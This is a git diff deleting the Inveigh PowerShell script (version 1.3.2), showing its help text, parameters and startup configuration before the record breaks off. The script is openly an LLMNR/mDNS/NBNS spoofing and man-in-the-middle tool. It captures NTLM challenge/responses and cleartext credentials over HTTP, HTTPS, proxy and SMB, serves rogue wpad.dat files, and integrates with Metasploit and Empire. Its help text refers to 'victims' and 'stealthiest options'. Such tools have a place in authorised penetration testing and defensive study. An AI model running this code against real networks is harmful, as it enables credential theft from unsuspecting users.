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Diffstat (limited to 'Scripts/Inveigh.ps1')
| -rw-r--r-- | Scripts/Inveigh.ps1 | 4802 |
1 files changed, 0 insertions, 4802 deletions
diff --git a/Scripts/Inveigh.ps1 b/Scripts/Inveigh.ps1 deleted file mode 100644 index 0510489..0000000 --- a/Scripts/Inveigh.ps1 +++ /dev/null @@ -1,4802 +0,0 @@ -function Invoke-Inveigh -{ -<# -.SYNOPSIS -Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool with challenge/response -capture over HTTP/HTTPS/Proxy/SMB. - -.DESCRIPTION -Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spooferman-in-the-middle tool with the following features: - - IPv4 LLMNR/mDNS/NBNS spoofer with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/Proxy/SMB - Basic auth cleartext credential capture over HTTP/HTTPS/Proxy - WPAD server capable of hosting a basic or custom wpad.dat file - HTTP/HTTPS/Proxy server capable of hosting limited content - Granular control of console and file output - Run time and run count control - LLMNR/NBNS spoofer learning mode - -.PARAMETER Challenge -Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random -challenge will be generated for each request. - -.PARAMETER ConsoleOutput -Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a -shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. - -.PARAMETER ConsoleQueueLimit -Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. - -.PARAMETER ConsoleStatus -(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for -displaying full capture lists when running through a shell that does not have access to the support functions. - -.PARAMETER ConsoleUnique -Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, -and username combinations when real time console output is enabled. - -.PARAMETER ElevatedPrivilege -Default = Auto: (Auto/Y/N) Set the privilege mode. Auto will determine if Inveigh is running with -elevated privilege. If so, options that require elevated privilege can be used. - -.PARAMETER FileOutput -Default = Disabled: (Y/N) Enable/Disable real time file output. - -.PARAMETER FileOutputDirectory -Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must -also be enabled. - -.PARAMETER FileUnique -Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, -and username combinations when real time file output is enabled. - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPIP -Default = Any: IP address for the HTTP/HTTPS listener. - -.PARAMETER HTTPPort -Default = 80: TCP port for the HTTP listener. - -.PARAMETER HTTPAuth -Default = NTLM: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP/HTTPS listener authentication type. This setting does not -apply to wpad.dat requests. NTLMNoESS turns off the 'Extended Session Security' flag during negotiation. - -.PARAMETER HTTPBasicRealm -Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. - -.PARAMETER HTTPContentType -Default = text/html: Content type for HTTP/HTTPS/Proxy responses. Does not apply to EXEs and wpad.dat. Set to -"application/hta" for HTA files or when using HTA code with HTTPResponse. - -.PARAMETER HTTPDir -Full directory path to enable hosting of basic content through the HTTP/HTTPS listener. - -.PARAMETER HTTPDefaultFile -Filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response file. This file will not be used for -wpad.dat requests. - -.PARAMETER HTTPDefaultEXE -EXE filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response for EXE requests. - -.PARAMETER HTTPResetDelay -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the -chance of capturing authentication through a popup box with some browsers (Firefox). - -.PARAMETER HTTPResetDelayTimeout -Default = 30 Seconds: HTTPResetDelay timeout in seconds. - -.PARAMETER HTTPResponse -Content to serve as the default HTTP/HTTPS/Proxy response. This response will not be used for wpad.dat requests. -This parameter will not be used if HTTPDir is set. Use PowerShell character escapes and newlines where necessary. - -.PARAMETER HTTPS -Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in -the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires -local administrator access. - -.PARAMETER HTTPSPort -Default = 443: TCP port for the HTTPS listener. - -.PARAMETER HTTPSCertIssuer -Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. - -.PARAMETER HTTPSCertSubject -Default = localhost: The subject field for the cert that will be installed for HTTPS. - -.PARAMETER HTTPSForceCertDelete -Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and -HTTPSCertSubject. - -.PARAMETER Inspect -(Switch) Inspect LLMNR/mDNS/NBNS traffic only. With elevated privilege, SMB must be disabled with -smb if you do -not want NTLMv1/NTLMv2 captures over SMB. Without elevated privilege, the desired inspect listeners must be -enabled. - -.PARAMETER IP -Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing -if the SpooferIP parameter is not set. - -.PARAMETER LogOutput -Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. - -.PARAMETER LLMNR -Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. - -.PARAMETER LLMNRTTL -Default = 30 Seconds: LLMNR TTL in seconds for the response packet. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER mDNS -Default = Disabled: (Y/N) Enable/Disable mDNS spoofing. - -.PARAMETER mDNSTTL -Default = 120 Seconds: mDNS TTL in seconds for the response packet. - -.PARAMETER mDNSTypes -Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to 224.0.0.251. -Types include QU = Query Unicast, QM = Query Multicast - -.PARAMETER NBNS -Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. - -.PARAMETER NBNSBruteForce -Default = Disabled: (Y/N) Enable/Disable NBNS brute force spoofer. - -.PARAMETER NBNSBruteForceHost -Default = WPAD: Hostname for the NBNS Brute Force spoofer. - -.PARAMETER NBNSBruteForcePause -Default = Disabled: (Integer) Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming -HTTP request is received. - -.PARAMETER NBNSBruteForceTarget -IP address to target for NBNS brute force spoofing. - -.PARAMETER NBNSTTL -Default = 165 Seconds: NBNS TTL in seconds for the response packet. - -.PARAMETER NBNSTypes -Default = 00,20: Comma separated list of NBNS types to spoof. -Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name - -.PARAMETER OutputStreamOnly -Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh through a shell that does not return other output streams.Note that you will not see the various -yellow warning messages if enabled. - -.PARAMETER Proxy -Default = Disabled: (Y/N) Enable/Disable proxy listener authentication captures. - -.PARAMETER ProxyAuth -Default = NTLM: (Basic/NTLM/NTLMNoESS) Proxy listener authentication type. - -.PARAMETER ProxyIP -Default = Any: IP address for the proxy listener. - -.PARAMETER ProxyPort -Default = 8492: TCP port for the proxy listener. - -.PARAMETER ProxyIgnore -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly -with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is -cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting --SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by -closing and reopening. - -.PARAMETER ShowHelp -Default = Enabled: (Y/N) Enable/Disable the help messages at startup. - -.PARAMETER SMB -Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still -direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to -prevent login requests from being processed by the Inveigh host. - -.PARAMETER SpooferHostsIgnore -Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR/mDNS/NBNS. - -.PARAMETER SpooferHostsReply -Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR/mDNS/NBNS. - -.PARAMETER SpooferIP -IP address for LLMNR/mDNS/NBNS spoofing. This parameter is only necessary when redirecting victims to a system -other than the Inveigh host. - -.PARAMETER SpooferIPsIgnore -Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR/mDNS/NBNS. - -.PARAMETER SpooferIPsReply -Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR/mDNS/NBNS. - -.PARAMETER SpooferLearning -Default = Disabled: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. If enabled, Inveigh will send out -LLMNR/NBNS requests for any received LLMNR/NBNS requests. If a response is received, Inveigh will add the -hostname to a spoofing blacklist. - -.PARAMETER SpooferLearningDelay -(Integer) Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through -SpooferLearning. - -.PARAMETER SpooferLearningInterval -Default = 30 Minutes: (Integer) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a -hostname that has already been checked if SpooferLearning is enabled. - -.PARAMETER SpooferRepeat -Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user -challenge/response has been captured. - -.PARAMETER StartupChecks -Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. - -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. - -.PARAMETER RunCount -Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting. - -.PARAMETER RunTime -(Integer) Run time duration in minutes. - -.PARAMETER Tool -Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's -PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. -0 = None, 1 = Metasploit/Meterpreter, 2 = Empire - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP/HTTPS listener authentication type for wpad.dat requests. -Setting to Anonymous can prevent browser login prompts. NTLMNoESS turns off the 'Extended Session Security' flag -during negotiation. - -.PARAMETER WPADAuthIgnore -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login -popups for authenticated wpad.dat requests such as Firefox. - -.PARAMETER WPADDirectFile -Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. -Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when -using WPADIP, WPADPort, or WPADResponse. - -.PARAMETER WPADDirectHosts -Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the -defined proxy. - -.PARAMETER WPADIP -Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used -with WPADPort. - -.PARAMETER WPADPort -Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be -used with WPADIP. - -.PARAMETER WPADResponse -wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort -are set. Use PowerShell character escapes where necessary. - -.EXAMPLE -Import-Module .\Inveigh.psd1;Invoke-Inveigh -Import full module and execute with all default settings. - -.EXAMPLE -. ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10 -Dot source load and execute specifying a specific local listening/spoofing IP. - -.EXAMPLE -Invoke-Inveigh -IP 192.168.1.10 -HTTP N -Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response. - -.EXAMPLE -Invoke-Inveigh -SpooferRepeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76 -Execute with the stealthiest options. - -.EXAMPLE -Invoke-Inveigh -Inspect -Execute in order to only inpect LLMNR/mDNS/NBNS traffic. - -.EXAMPLE -Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N -Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be -useful for sending traffic to a controlled Linux system on another subnet. - -.EXAMPLE -Invoke-Inveigh -HTTPResponse "<html><head><meta http-equiv='refresh' content='0; url=https://duckduckgo.com/'></head></html>" -Execute specifying an HTTP redirect response. - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -# Parameter default values can be modified in this section: -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", - [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", - [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "", - [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "", - [parameter(Mandatory=$false)][Array]$SpooferIPsReply = "", - [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore = "", - [parameter(Mandatory=$false)][Array]$WPADDirectHosts = "", - [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "Firefox", - [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", - [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", - [parameter(Mandatory=$false)][Int]$HTTPPort = "80", - [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", - [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", - [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30", - [parameter(Mandatory=$false)][Int]$mDNSTTL = "120", - [parameter(Mandatory=$false)][Int]$NBNSTTL = "165", - [parameter(Mandatory=$false)][Int]$NBNSBruteForcePause = "", - [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", - [parameter(Mandatory=$false)][Int]$RunCount = "", - [parameter(Mandatory=$false)][Int]$RunTime = "", - [parameter(Mandatory=$false)][Int]$WPADPort = "", - [parameter(Mandatory=$false)][Int]$SpooferLearningDelay = "", - [parameter(Mandatory=$false)][Int]$SpooferLearningInterval = "30", - [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "IIS", - [parameter(Mandatory=$false)][String]$HTTPContentType = "text/html", - [parameter(Mandatory=$false)][String]$HTTPDefaultFile = "", - [parameter(Mandatory=$false)][String]$HTTPDefaultEXE = "", - [parameter(Mandatory=$false)][String]$HTTPResponse = "", - [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", - [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", - [parameter(Mandatory=$false)][String]$NBNSBruteForceHost = "WPAD", - [parameter(Mandatory=$false)][String]$WPADResponse = "", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$mDNS = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferLearning = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADDirectFile = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", - [parameter(Mandatory=$false)][ValidateSet("Auto","Y","N")][String]$ElevatedPrivilege = "Auto", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$HTTPAuth = "NTLM", - [parameter(Mandatory=$false)][ValidateSet("QU","QM")][Array]$mDNSTypes = @("QU"), - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes = @("00","20"), - [parameter(Mandatory=$false)][ValidateSet("Basic","NTLM","NTLMNoESS")][String]$ProxyAuth = "NTLM", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$WPADAuth = "NTLM", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir = "", - [parameter(Mandatory=$false)][Switch]$Inspect, - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - Write-Output "Error:$($invalid_parameter) is not a valid parameter" - throw -} - -$inveigh_version = "1.3.2" - -if(!$IP) -{ - $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -if(!$SpooferIP) -{ - $SpooferIP = $IP -} - -if($HTTPDefaultFile -or $HTTPDefaultEXE) -{ - - if(!$HTTPDir) - { - Write-Output "Error:You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" - throw - } - -} - -if($WPADIP -or $WPADPort) -{ - - if(!$WPADIP) - { - Write-Output "Error:You must specify a -WPADPort to go with -WPADIP" - throw - } - - if(!$WPADPort) - { - Write-Output "Error:You must specify a -WPADIP to go with -WPADPort" - throw - } - -} - -if($NBNSBruteForce -eq 'Y' -and !$NBNSBruteForceTarget) -{ - Write-Output "Error:You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" - throw -} - -if(!$FileOutputdirectory) -{ - $output_directory = $PWD.Path -} -else -{ - $output_directory = $FileOutputdirectory -} - -if(!$inveigh) -{ - $global:inveigh = [HashTable]::Synchronized(@{}) - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList - $inveigh.log = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.POST_request_list = New-Object System.Collections.ArrayList - $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList - $inveigh.valid_host_list = New-Object System.Collections.ArrayList -} - -if($inveigh.running) -{ - Write-Output "Error:Invoke-Inveigh is already running, use Stop-Inveigh" - throw -} - -if($HTTP_listener.IsListening -and !$inveigh.relay_running) -{ - $HTTP_listener.Stop() - $HTTP_listener.Close() -} - -if(!$inveigh.relay_running) -{ - $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList - $inveigh.console_queue = New-Object System.Collections.ArrayList - $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList - $inveigh.log_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList - $inveigh.status_queue = New-Object System.Collections.ArrayList - $inveigh.console_input = $true - $inveigh.console_output = $false - $inveigh.file_output = $false - $inveigh.HTTPS_existing_certificate = $false - $inveigh.HTTPS_force_certificate_delete = $false - $inveigh.log_output = $true - $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" - $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" - $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" - $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" - $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" -} - -if($ElevatedPrivilege -eq 'Auto') -{ - $elevated_privilege = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") -} -else -{ - - if($ElevatedPrivilege -eq 'Y') - { - $elevated_privilege = $true - } - else - { - $elevated_privilege = $false - } - -} - -if($StartupChecks -eq 'Y') -{ - - $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} - - if($HTTP -eq 'Y') - { - $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " - } - - if($HTTPS -eq 'Y') - { - $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " - } - - if($Proxy -eq 'Y') - { - $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " - } - - if($LLMNR -eq 'Y' -and !$elevated_privilege) - { - $LLMNR_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5355 " - } - - if($mDNS -eq 'Y' -and !$elevated_privilege) - { - $mDNS_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5353 " - } - -} - -if(!$elevated_privilege) -{ - - if($HTTPS -eq 'Y') - { - Write-Output "Error:-HTTPS requires elevated privileges" - throw - } - - if($SpooferLearning -eq 'Y') - { - Write-Output "Error:-SpooferLearning requires elevated privileges" - throw - } - - $NBNS = "Y" - $SMB = "N" - -} - -$inveigh.hostname_spoof = $false -$inveigh.running = $true - -if($StatusOutput -eq 'Y') -{ - $inveigh.status_output = $true -} -else -{ - $inveigh.status_output = $false -} - -if($OutputStreamOnly -eq 'Y') -{ - $inveigh.output_stream_only = $true -} -else -{ - $inveigh.output_stream_only = $false -} - -if($Inspect) -{ - - if($elevated_privilege) - { - $LLMNR = "N" - $mDNS = "N" - $NBNS = "N" - $HTTP = "N" - $HTTPS = "N" - $Proxy = "N" - } - else - { - $HTTP = "N" - $HTTPS = "N" - $Proxy = "N" - } - -} - -if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension -{ - $inveigh.tool = 1 - $inveigh.output_stream_only = $true - $inveigh.newline = "" - $ConsoleOutput = "N" - -} -elseif($Tool -eq 2) # PowerShell Empire -{ - $inveigh.tool = 2 - $inveigh.output_stream_only = $true - $inveigh.console_input = $false - $inveigh.newline = "`n" # remove for Empire 2.0 - $LogOutput = "N" - $ShowHelp = "N" - - switch ($ConsoleOutput) - { - - 'Low' - { - $ConsoleOutput = "Low" - } - - 'Medium' - { - $ConsoleOutput = "Medium" - } - - default - { - $ConsoleOutput = "Y" - } - - } - -} -else -{ - $inveigh.tool = 0 - $inveigh.newline = "" -} - -# Write startup messages -$inveigh.status_queue.Add("Inveigh $inveigh_version started at $(Get-Date -format 's')") > $null - -if($FileOutput -eq 'Y') -{ - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh $inveigh_version started") > $null -} - -if($LogOutput -eq 'Y') -{ - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh started") > $null - $inveigh.log_output = $true -} -else -{ - $inveigh.log_output = $false -} - -if($ElevatedPrivilege -eq 'Y' -or $elevated_privilege) -{ - $inveigh.status_queue.Add("Elevated Privilege Mode = Enabled") > $null -} -else -{ - $inveigh.status_queue.Add("Elevated Privilege Mode = Disabled") > $null -} - -if($firewall_status) -{ - $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null - $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 - $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" - - if($firewall_powershell) - { - $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null - } - -} - -$inveigh.status_queue.Add("Primary IP Address = $IP") > $null - -if($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y') -{ - $inveigh.status_queue.Add("LLMNR/mDNS/NBNS Spoofer IP Address = $SpooferIP") > $null -} - -if($LLMNR -eq 'Y') -{ - - if($elevated_privilege -or !$LLMNR_port_check) - { - $inveigh.status_queue.Add("LLMNR Spoofer = Enabled") > $null - $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null - $LLMNR_response_message = "- response sent" - } - else - { - $LLMNR = "N" - $inveigh.status_queue.Add("LLMNR Spoofer Disabled Due To In Use Port 5355") > $null - } - -} -else -{ - $inveigh.status_queue.Add("LLMNR Spoofer = Disabled") > $null - $LLMNR_response_message = "- LLMNR spoofer is disabled" -} - -if($mDNS -eq 'Y') -{ - - if($elevated_privilege -or !$mDNS_port_check) - { - $mDNSTypes_output = $mDNSTypes -join "," - - if($mDNSTypes.Count -eq 1) - { - $inveigh.status_queue.Add("mDNS Spoofer For Type $mDNSTypes_output = Enabled") > $null - } - else - { - $inveigh.status_queue.Add("mDNS Spoofer For Types $mDNSTypes_output = Enabled") > $null - } - - $inveigh.status_queue.Add("mDNS TTL = $mDNSTTL Seconds") > $null - $mDNS_response_message = "- response sent" - - } - else - { - $mDNS = "N" - $inveigh.status_queue.Add("mDNS Spoofer Disabled Due To In Use Port 5353") > $null - } - -} -else -{ - $inveigh.status_queue.Add("mDNS Spoofer = Disabled") > $null - $mDNS_response_message = "- mDNS spoofer is disabled" -} - -if($NBNS -eq 'Y') -{ - $NBNSTypes_output = $NBNSTypes -join "," - $NBNS_response_message = "- response sent" - - if($NBNSTypes.Count -eq 1) - { - $inveigh.status_queue.Add("NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null - } - else - { - $inveigh.status_queue.Add("NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null - } - -} -else -{ - $inveigh.status_queue.Add("NBNS Spoofer = Disabled") > $null - $NBNS_response_message = "- NBNS spoofer is disabled" -} - -if($NBNSBruteForce -eq 'Y') -{ - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null - - if($NBNSBruteForcePause) - { - $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null - } - -} - -if($NBNS -eq 'Y' -or $NBNSBruteForce -eq 'Y') -{ - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null -} - -if($SpooferLearning -eq 'Y' -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofer Learning = Enabled") > $null - - if($SpooferLearningDelay -eq 1) - { - $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minute") > $null - } - elseif($SpooferLearningDelay -gt 1) - { - $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minutes") > $null - } - - if($SpooferLearningInterval -eq 1) - { - $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minute") > $null - } - elseif($SpooferLearningInterval -eq 0) - { - $inveigh.status_queue.Add("Spoofer Learning Interval = Disabled") > $null - } - elseif($SpooferLearningInterval -gt 1) - { - $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minutes") > $null - } - -} - -if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null -} - -if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null -} - -if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofer IPs Reply = " + ($SpooferIPsReply -join ",")) > $null -} - -if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) -{ - $inveigh.status_queue.Add("Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null -} - -if($SpooferRepeat -eq 'N') -{ - $inveigh.spoofer_repeat = $false - $inveigh.status_queue.Add("Spoofer Repeating = Disabled") > $null -} -else -{ - $inveigh.spoofer_repeat = $true -} - -if($SMB -eq 'Y' -and $elevated_privilege) -{ - $inveigh.status_queue.Add("SMB Capture = Enabled") > $null -} -else -{ - $inveigh.status_queue.Add("SMB Capture = Disabled") > $null -} - -if($HTTP -eq 'Y') -{ - - if($HTTP_port_check) - { - $HTTP = "N" - 